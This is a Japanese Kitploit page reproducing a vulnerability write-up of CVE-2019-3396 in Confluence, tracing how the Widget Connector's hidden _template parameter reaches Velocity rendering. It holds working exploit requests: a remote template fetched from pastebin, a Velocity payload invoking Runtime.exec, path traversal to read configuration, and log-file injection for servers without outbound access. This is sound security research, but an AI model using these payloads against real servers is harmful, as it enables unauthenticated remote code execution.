Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2019-3396 — Confluence 未認可テンプレートインジェクション | Kitploit
ツール/GitHubGitHub/petrusviet/cve-2019-3396
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubpetrusviet/cve-2019-3396

cve-2019-3396

Confluence 未認可テンプレートインジェクション

リポジトリを見る
2115年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Confluence の未認証テンプレートインジェクション (CVE-2019-3396)

I) ビルド

  • このバグは以下のバージョンで発生します:
    • 1.x.x, 2.x.x, 3.x.x, 4.x.x, 5.x.x のすべてのバージョン
    • 6.0.x, 6.1.x, 6.2.x, 6.3.x, 6.4.x, 6.5.x のすべてのバージョン
    • 6.6.12 より前の 6.6.x のすべてのバージョン
    • 6.7.x, 6.8.x, 6.9.x, 6.10.x, 6.11.x のすべてのバージョン
    • 6.12.3 より前の 6.12.x のすべてのバージョン
    • 6.13.3 より前の 6.13.x のすべてのバージョン
    • 6.14.2 より前の 6.14.x のすべてのバージョン
  • ソースコードをダウンロードした後、以下の作業が必要です:
    • ./confluence/WEB-INF/classes/confluence-init.properties ファイル内の confluence.home の値を Confluence ホームのパスに変更します
    • リモートデバッグモードで実行するために CATALINA_OPTS を追加します

Windows の場合、./bin/setenv.bat ファイル:

root@kitploit:~
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

Linux の場合、./bin/setenv.sh ファイル:

root@kitploit:~
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"  
  • IDE (IntelliJ) で、デバッグ構成として Remote JVM Debug を作成し、host と port を localhost:5005 に設定し、Command line arguments for remote JVM を以下のように設定します:
root@kitploit:~
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • PostgreSQL をデータベースとして使用する場合:
root@kitploit:~
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
 
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
  • デバッグ時に必要なソースを表示するために、以下の jar を lib に追加する必要があります: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar、./confluence/WEB-INF/lib/confluence-x.x.x.jar、./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar

  • ./bin/start-confluence.bat を実行します。ソースからインストールする場合は、このガイド も参照してください。

II) 分析

  • 説明を読んだ後、このバグが Widget Connector 機能から始まることがわかるので、すぐに Google でこの機能が何であるか、そしてどのように使用するかを調べました:

    2 ページを編集します

    3
    その他のマクロを選択

    4 Widget connector を選択

    image

  • 適当にパラメータを選択してプレビューをクリックし、その後 Burp に切り替えて何か面白いものがないか確認しました。 image

  • このパケットの中で、"pluginKey":"com.atlassian.confluence.extra.widgetconnector" というパラメータを見つけました。したがって、Widget Connector 機能がクラス com.atlassian.confluence.extra.widgetconnector で定義されていると推測し、パス内で怪しい jar パッケージを探しました。

image

  • ソースコードを読んでデバッグできるように、./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar をプロジェクトの lib に追加してみました。

    1
    jar ファイルを lib に追加する方法

  • widgetconnector パッケージを開くと、WidgetMacro クラスに興味を持ったので、このクラスのコンストラクタと execute メソッドにブレークポイントを設定し、Preview 機能を使用したときにこのクラスが呼び出されるかどうかを確認しました 🕵️

    • image

    • execute メソッドが呼び出され、その後プログラムは DefaultRenderManager.getEmbeddedHtml を呼び出します。

    • image

    • if ブロックに入るには、widgetRenderer.matches(url) 条件を満たす必要があることがわかります。そこで、YoutubeRenderer クラスの widgetRenderer.matches(url) メソッドを確認します。

    • image

    • image

    • したがって、url パラメータを YouTube(または Vimeo、Twitter など)の動画 URL にする必要があります。任意の YouTube 動画の URL を url に設定すると、プログラムは if 文に入り、その後 widgetRenderer.getEmbeddedHtml(url, params) メソッド(YoutubeRenderer クラス)を呼び出します。

    • image

    • プログラムは setDefaultParam メソッドにジャンプします。ここで、隠しパラメータ _template を見つけました。怪しいです :)

    • image

    • setDefaultParam メソッドを抜けた後、プログラムは DefaultVelocityRenderService.render メソッドを呼び出します。

    • image

    • 次に getRenderedTemplate メソッドと VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap) メソッドに進みます。

    • image

    • image

    • さらに VelocityUtils.getRenderedTemplate(String templateName, Context context) と getRenderedTemplateWithoutSwallowingErrors(templateName, context) に進みます。

    • image

    • renderTemplateWithoutSwallowingErrors メソッド

    • image

    • プログラムは getTemplate メソッドを呼び出し、次に VelocityEngine.getTemplate と RuntimeInstance.getTemplate を呼び出します。ここで、プログラムが getResource メソッドを呼び出しており、その入力パラメータが _template パラメータの値であることがわかります。Java では、getResource メソッドはローカルファイルまたはインターネット上のファイル(HTTP 経由)をリソースとして読み込むために使用できます。

    • 立ち止まって考えてみます:これは、攻撃者がリクエストに _template パラメータを追加することで、(ローカルサーバーまたは攻撃者のホストから)任意のテンプレートをプログラムに注入できることを意味するのでしょうか?

    • image

    • テンプレートを取得した後のプログラムの処理を確認するために、トレースを続けます:

    • テンプレートを取得した後、プログラムは VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer); を呼び出します。

    • image

    • その後、template.merge(context, writer); に進みます。

    root@kitploit:~
    public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
          if (this.errorCondition != null) {
              throw this.errorCondition;
          } else if (this.data == null) {
              String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
              throw new RuntimeException(msg);
          } else {
              InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
              ica.setMacroLibraries(macroLibraries);
              if (macroLibraries != null) {
                  for(int i = 0; i < macroLibraries.size(); ++i) {
                      try {
                          this.rsvc.getTemplate((String)macroLibraries.get(i));
                      } catch (ResourceNotFoundException var17) {
                          this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
                          throw var17;
                      } catch (ParseErrorException var18) {
                          this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
                          throw var18;
                      } catch (Exception var19) {
                          throw new RuntimeException("Template.merge(): parse failed in template  " + (String)macroLibraries.get(i) + ".", var19);
                      }
                  }
              }
    
              if (this.provideScope) {
                  ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
              }
    
              try {
                  ica.pushCurrentTemplateName(this.name);
                  ica.setCurrentResource(this);
                  ((SimpleNode)this.data).render(ica, writer);      ### POC có thể được render ở đây  ###
              } catch (StopCommand var20) {
                  if (!var20.isFor(this)) {
                      throw var20;
                  }
    
                  if (this.rsvc.getLog().isDebugEnabled()) {
                      this.rsvc.getLog().debug(var20.getMessage());
                  }
              } catch (IOException var21) {
                  throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
              } finally {
                  ica.popCurrentTemplateName();
                  ica.setCurrentResource((Resource)null);
                  if (this.provideScope) {
                      Object obj = ica.get(this.scopeName);
                      if (obj instanceof Scope) {
                          Scope scope = (Scope)obj;
                          if (scope.getParent() != null) {
                              ica.put(this.scopeName, scope.getParent());
                          } else if (scope.getReplaced() != null) {
                              ica.put(this.scopeName, scope.getReplaced());
                          } else {
                              ica.remove(this.scopeName);
                          }
                      }
                  }
    
              }
    
          }
      }
    
    • ここで、プログラムが SimpleNode.render を呼び出していることがわかります。このメソッドは Velocity テンプレートを使用してテンプレートを解析します。ここで RCE の PoC を書けることがわかります:

Preview 機能をリクエストする際の POST リクエストパケット

root@kitploit:~
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close

{
"contentId":"622594",
"macro": {
    "name":"widget",
    "body":"","params": {
      "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
      "width":"10",
      "height":"10",
      "_template":"https://pastebin.com/raw/JPEpiuLG"
      }
}
}

ペイロードファイル

root@kitploit:~
#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
  • PoC が正常に実行されました:
  • image

Stack call

root@kitploit:~
WidgetMacro: execute
  -> DefaultRenderManager: getEmbeddedHtml
  	-> YoutubeRenderer: getEmbeddedHtml
  		-> DefaultVelocityRenderService: render -> getRenderedTemplate
  			-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
  				
  				-> VelocityEngine: getTemplate
  					-> RuntimeInstance: getResource 

  			-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors

  				-> Template: merge
  					=>  SimpleNode: render
ツールをダウンロード

これでこのバグの PoC は成功しましたが、ターゲットがアウトバウンド接続をブロックしているサーバーの場合、攻撃者はインターネットからリソースを取得できず、サーバーのローカルファイルのみをリソースとして取得できます。

では、その場合どのように悪用すればよいでしょうか?

あるヒントを得ました。何らかの方法でユーザーがログファイルにペイロードを注入できるというものです。これは良いアイデアなので、すぐに方法を考え始めました。

  • Confluence Home 内のログファイルを調べて、何か特別なものがないか確認しました。./shared-home/analytics-logs/ にあるログファイルを見ると、クライアント側から送信されたと思われるいくつかのおなじみのキーと値があることに気づきました。
  • image
  • POST /rest/analytics/1.0/publish/bulk パケットが上記のようなキーと値を送信していることを確認しました。
root@kitploit:~
[{"name":"browser.metrics.navigation",
"properties":{
 "apdex":"0.5",
 "firstPaint":"528",
 "isInitial":"true",
 "journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
 "key":"confluence.dashboard.view",
 "navigationType":"0",
 "readyForUser":"1117",
 "redirectCount":"0",
 "resourceLoadedEnd":"499",
 "resourceLoadedStart":90.35499999299645,
 "threshold":"1000",
 "unloadEventStart":"47",
 "unloadEventEnd":"47",
 "fetchStart":"25",
 "domainLookupStart":"25",
 "domainLookupEnd":"25",
 "connectStart":"25",
 "connectEnd":"25",
 "requestStart":"27",
 "responseStart":"28",
 "responseEnd":"37",
 "domLoading":"52",
 "domInteractive":"538",
 "domContentLoadedEventStart":"538",
 "domContentLoadedEventEnd":"691",
 "domComplete":"1176",
 "loadEventStart":"1176",
 "loadEventEnd":"1176",
 "userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
 "pageEnd":"531",
 "isBigPipeEnabled":"false",
 "serverDuration":"339",
 "requestCorrelationId":"36006c54d2919ecd",
 "resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
 "userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
 }]
  • いくつかの値を置き換えて試してみると、resourceTiming の値は自由に編集でき、そのままログに記録されることがわかりました。
  • image
  • これで、サーバーのローカルにあるログファイルにペイロードを注入できるようになりました。
  • ここから、./confluence/WEB-INF/classes/confluence-init.properties ファイルを読み取って Confluence ホームの場所を特定できます。
root@kitploit:~
POST /rest/tinymce/1/macro/preview HTTP/1.1
  
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
  "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
  "_template":"/../../WEB-INF/classes/confluence-init.properties",
  "width":"11",
  "height":"11"
  }
}
}
  • そして、そこから注入したペイロードを含むログファイルの場所を見つけます:
root@kitploit:~
POST /rest/tinymce/1/macro/preview HTTP/1.1
    
{
"contentId":"1507329",
"macro":{
  "name":"widget",
  "body":"",
  "params":{
    "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
    "_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
    "width":"11",
    "height":"11"
    }
  }
}
  • ログファイルが大きすぎてテンプレートとして解析できない場合は、ログをプッシュしてファイルサイズの上限に達するようにし、システムが自動的に新しいファイルにログを書き込むようにします。そうすれば、攻撃者はサイズがまだ大きくない新しいログファイルにペイロードを注入する機会を得ることができます。

III) 修正

パッチでは、WidgetMacro クラスに doSanitizeParameters メソッドが追加され、renderManager.getEmbeddedHtml(url, parameters); を呼び出す前に _template パラメータを削除するようになりました。

image image image